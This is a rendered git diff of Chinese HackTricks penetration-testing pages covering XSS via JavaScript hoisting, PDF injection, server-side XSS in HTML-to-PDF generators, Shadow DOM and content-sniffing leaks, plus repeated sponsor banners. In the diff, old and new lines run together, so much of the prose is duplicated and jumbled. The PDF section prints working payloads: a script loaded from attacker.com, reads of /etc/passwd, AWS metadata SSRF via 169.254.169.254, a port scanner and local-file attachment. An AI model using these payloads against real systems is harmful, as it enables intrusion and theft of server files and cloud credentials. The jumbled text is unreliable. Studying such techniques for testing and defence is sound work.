在第一次遍历期间,引擎会解析代码以检查语法错误,并将其转换为抽象语法树。这个阶段包括提升,即将某些声明移动到执行上下文的顶部。如果解析阶段成功,表示没有语法错误,则脚本执行会继续 在第一次遍历中,引擎解析代码以检查语法错误,并将其转换为抽象语法树。这个阶段包括提升,这是一个将某些声明移动到执行上下文顶部的过程。如果解析阶段成功,表明没有语法错误,则脚本执行继续进行
重要的是要理解 理解以下几点至关重要:
1. 脚本必须没有语法错误才能执行。必须严格遵守语法规则。 1. 脚本必须没有语法错误才能执行。必须严格遵守语法规则。
2. 代码在脚本中的位置会影响执行,因为提升,尽管执行的代码可能与其文本表示不同。 2. 代码在脚本中的位置会因提升而影响执行,尽管执行的代码可能与其文本表示不同。
#### 提升的类型 #### 提升的类型
根据 MDN 的信息JavaScript 中有四种不同类型的提升: 根据 MDN 的信息JavaScript 中有四种不同类型的提升:
1. **值提升**:允许在声明行之前在其作用域内使用变量的值。 1. **值提升**:允许在声明行之前在其作用域内使用变量的值。
2. **声明提升**:允许在其作用域内引用变量而不会导致`ReferenceError`,但变量的值将是`undefined` 2. **声明提升**:允许在声明之前引用变量而不会导致 `ReferenceError`,但变量的值将是 `undefined`
3. 这种类型会改变其作用域内的行为,因为变量在其实际声明行之前被声明 3. 这种类型会因变量在实际声明行之前的声明而改变其作用域内的行为
4. 声明的副作用其余包含它的代码被评估之前发生。 4. 声明的副作用在包含它的其余代码被评估之前发生。
具体来说,函数声明表现出类型 1 的提升行为。`var` 关键字展示类型 2 的行为。词法声明,包括 `let`、`const` 和 `class`展示类型 3 的行为。最后,`import` 语句是独特的,因为它们具有类型 1 和类型 4 的提升行为。 详细来说,函数声明表现出类型 1 的提升行为。`var` 关键字展示类型 2 的行为。词法声明,包括 `let`、`const` 和 `class`显示了类型 3 的行为。最后,`import` 语句是独特的,因为它们同时具有类型 1 和类型 4 的提升行为。
## 场景 ## 场景
因此,如果您有场景,可以在使用未声明对象之后**注入 JS 代码**,您可以通过声明它来**修复语法**(这样您的代码将被执行而不会抛出错误): 因此,如果您有场景可以在使用 **未声明对象后注入 JS 代码**,您可以通过声明它来 **修复语法**(这样您的代码会被执行而不是抛出错误):
```javascript ```javascript
// The function vulnerableFunction is not defined // The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>'); vulnerableFunction('test', '<INJECTION>');
@ -81,10 +82,6 @@ test.cookie('leo','INJECTION')
test['cookie','injection'] test['cookie','injection']
``` ```
## 更多场景 ## 更多场景
### JavaScript Hoisting
### JavaScript 变量提升
```javascript ```javascript
// Undeclared var accessing to an undeclared method // Undeclared var accessing to an undeclared method
x.y(1,INJECTION) x.y(1,INJECTION)
@ -138,22 +135,23 @@ let config;`-alert(1)-`//`+""
}) })
} }
``` ```
## 参考资料 ## 参考文献
* [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) * [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
* [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting) * [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
* [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/) * [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,33 +1,35 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**如果您的输入被反映在PDF文件中您可以尝试注入PDF数据以执行JavaScript或窃取PDF内容。** **如果您的输入在 PDF 文件中被反映,您可以尝试注入 PDF 数据以执行 JavaScript 或窃取 PDF 内容。**
查看帖子:[**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) 查看帖子:[**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,37 +1,37 @@
# 服务器端 XSS动态 PDF # 服务器端 XSS动态 PDF
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 服务器端 XSS动态 PDF ## 服务器端 XSS动态 PDF
如果一个网页使用用户控制的输入创建 PDF您可以尝试**欺骗**创建 PDF 的**机器人**以**执行任意的 JS 代码**。\ 如果一个网页使用用户控制的输入创建 PDF你可以尝试**欺骗创建 PDF 的机器人**使其**执行任意 JS 代码**。\
因此,如果**PDF 创建机器人发现**某种**HTML** **标签**,它将**解释**它们,您可以**滥用**这种行为来引起**服务器 XSS**。 因此,如果**PDF 创建机器人发现**某种**HTML** **标签**,它将会**解释**这些标签,你可以**利用**这种行为导致**服务器 XSS**。
请注意,`<script></script>` 标签并不总是有效,因此您需要一种不同的方法来执行 JS例如`<img`)。\ 请注意,`<script></script>` 标签并不总是有效,因此你需要使用不同的方法来执行 JS例如`<img`)。\
此外,请注意,在常规利用中,您将能够查看/下载创建的 PDF因此您将能够查看您通过 JS **编写的所有内容**(例如使用 `document.write()`)。但是,如果您**无法看到**创建的 PDF您可能需要通过向您**发出网络请求来提取信息**(盲目)。 另外,请注意,在常规利用中,你将**能够查看/下载创建的 PDF**,因此你将能够看到你**通过 JS 写入的所有内容**(例如使用 `document.write()`)。但是,如果你**无法查看**创建的 PDF你可能需要**通过向你发起网络请求提取信息**(盲注)。
### 流行的 PDF 生成工具 ### 常见 PDF 生成
- **wkhtmltopdf** 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名,利用 WebKit 渲染引擎。这个工具作为一个开源命令行实用程序可用,适用于各种应用程序 - **wkhtmltopdf** 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名,利用 WebKit 渲染引擎。该工具作为开源命令行实用程序可用,适用于广泛的应用
- **TCPDF** 在 PHP 生态系统中提供了一个强大的 PDF 生成解决方案。它能够处理图像、图形和加密,展示了其创建复杂文档提供的多功能性。 - **TCPDF** 在 PHP 生态系统中提供了强大的 PDF 生成解决方案。它能够处理图像、图形和加密,展示了其创建复杂文档的多功能性。
- 对于在 Node.js 环境中工作的人,**PDFKit** 提供了一个可行的选择。它使得可以直接从 HTML 和 CSS 生成 PDF 文档,为 Web 内容和可打印格式之间提供了桥梁。 - 对于在 Node.js 环境中工作的开发者,**PDFKit** 提供了一个可行的选择。它允许直接从 HTML 和 CSS 生成 PDF 文档,为网页内容和可打印格式之间提供了桥梁。
- Java 开发人员可能更喜欢 **iText**,这是一个库,不仅有助于 PDF 创建,还支持高级功能,如数字签名和表单填充。其全面的功能集使其适用于生成安全和交互式文档。 - Java 开发者可能更喜欢 **iText**,这是一个不仅促进 PDF 创建,还支持数字签名和表单填写等高级功能的库。其全面的功能集使其适合生成安全和互动的文档。
- **FPDF** 是另一个 PHP 库,以其简单性和易用性而著称。它专为寻求简单方法进行 PDF 生成的开发人员设计,无需复杂功能。 - **FPDF** 是另一个 PHP 库,以其简单性和易用性而著称。它旨在为寻求简单 PDF 生成方法的开发者设计,无需复杂的功能。
## Payloads
## 攻击载荷
### 发现 ### 发现
```markup ```markup
@ -48,7 +48,7 @@
``` ```
### SVG ### SVG
先前的任何负载或以下负载都可以用在这个SVG负载中。一个访问Burpcollab子域的iframe和另一个访问元数据端点的iframe被放置为示例。 任何之前或以下的有效负载都可以在此 SVG 有效负载中使用。一个 iframe 访问 Burpcollab 子域,另一个访问元数据端点,作为示例。
```markup ```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500"> <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g> <g>
@ -73,7 +73,7 @@ alert(1);
</script> </script>
</svg> </svg>
``` ```
您可以在[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)中找到许多**其他SVG有效负载** 您可以在 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 找到很多 **其他 SVG 有效载荷**
### 路径泄露 ### 路径泄露
```markup ```markup
@ -82,9 +82,9 @@ if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" /> <img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script> <script> document.write(window.location) </script>
``` ```
### 加载外部脚本 ### Load an external script
利用这个漏洞的最佳方法是滥用漏洞,使机器人加载您本地控制的脚本。然后,您将能够在本地更改有效负载,并使机器人每次都使用相同的代码加载它 利用此漏洞的最佳方式是利用该漏洞使机器人加载您本地控制的脚本。然后,您将能够在本地更改有效负载,并使机器人每次都加载相同的代码
```markup ```markup
<script src="http://attacker.com/myscripts.js"></script> <script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/> <img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
@ -92,9 +92,9 @@ if not, you will at least have wich path the bot is accessing -->
### 读取本地文件 / SSRF ### 读取本地文件 / SSRF
{% hint style="warning" %} {% hint style="warning" %}
`file:///etc/passwd` 更改为 `http://169.254.169.254/latest/user-data` 例如尝试访问外部网页SSRF `file:///etc/passwd` 更改为 `http://169.254.169.254/latest/user-data` 例如 **尝试访问外部网页 (SSRF)**
如果允许 SSRF**无法访问**感兴趣的域或 IP请[查看此页面以获取潜在的绕过方法](../ssrf-server-side-request-forgery/url-format-bypass.md)。 如果允许 SSRF**无法访问** 有趣的域或 IP[请查看此页面以获取潜在的绕过方法](../ssrf-server-side-request-forgery/url-format-bypass.md)。
{% endhint %} {% endhint %}
```markup ```markup
<script> <script>
@ -161,13 +161,13 @@ checkPort(i);
``` ```
### [SSRF](../ssrf-server-side-request-forgery/) ### [SSRF](../ssrf-server-side-request-forgery/)
这个漏洞可以很容易地转变成SSRF因为你可以让脚本加载外部资源。所以尝试利用它读取一些元数据 这个漏洞可以很容易地转化为 SSRF因为你可以让脚本加载外部资源。所以只需尝试利用它(读取一些元数据?)。
### 附件:PD4ML ### Attachments: PD4ML
有一些HTML转PDF引擎允许**为PDF指定附件**,比如**PD4ML**。你可以滥用这个功能**将任何本地文件**附加到PDF中。\ 有一些 HTML 2 PDF 引擎允许 **为 PDF 指定附件**,例如 **PD4ML**。你可以利用这个功能 **将任何本地文件附加到 PDF**。\
要打开附件,我用**Firefox打开文件双击纸夹符号**来**存储附件**为一个新文件。\ 为了打开附件,我用 **Firefox 打开文件并双击回形针符号**以 **将附件存储**为新文件。\
使用Burp捕获**PDF响应**也应该**在PDF中以明文显示附件**。 使用 burp 捕获 **PDF 响应**也应该 **在 PDF 中以明文显示附件**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```html ```html
@ -176,23 +176,24 @@ checkPort(i);
``` ```
{% endcode %} {% endcode %}
## 参考资料 ## 参考文献
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html) * [https://lbherrera.github.io/lab/h1415-ctf-writeup.html](https://lbherrera.github.io/lab/h1415-ctf-writeup.html)
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/) * [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html) * [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c) * [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,31 +1,34 @@
# Shadow DOM # Shadow DOM
<details> {% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> 学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
**查看这篇博客:[https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** 和这个**CTF挑战[https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**查看这个博客:[https://blog.ankursundara.com/shadow-dom/](https://blog.ankursundara.com/shadow-dom/)** 和这个 **CTF 挑战:[https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md](https://github.com/Super-Guesser/ctf/blob/master/2022/dicectf/shadow.md)**
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,23 +1,39 @@
# 嗅探泄漏 # Sniff Leak
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 将脚本内容转换为UTF16来泄漏 ## 通过将脚本内容转换为 UTF16 来泄露
[**这篇文章**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves)泄漏了一个text/plain因为没有`X-Content-Type-Options: nosniff`头部通过添加一些初始字符使javascript认为内容是UTF-16编码,从而脚本不会中断。 [**这篇文章**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) 泄露了 text/plain因为没有 `X-Content-Type-Options: nosniff` 头,通过添加一些初始字符使得 JavaScript 认为内容是 UTF-16,从而脚本不会中断。
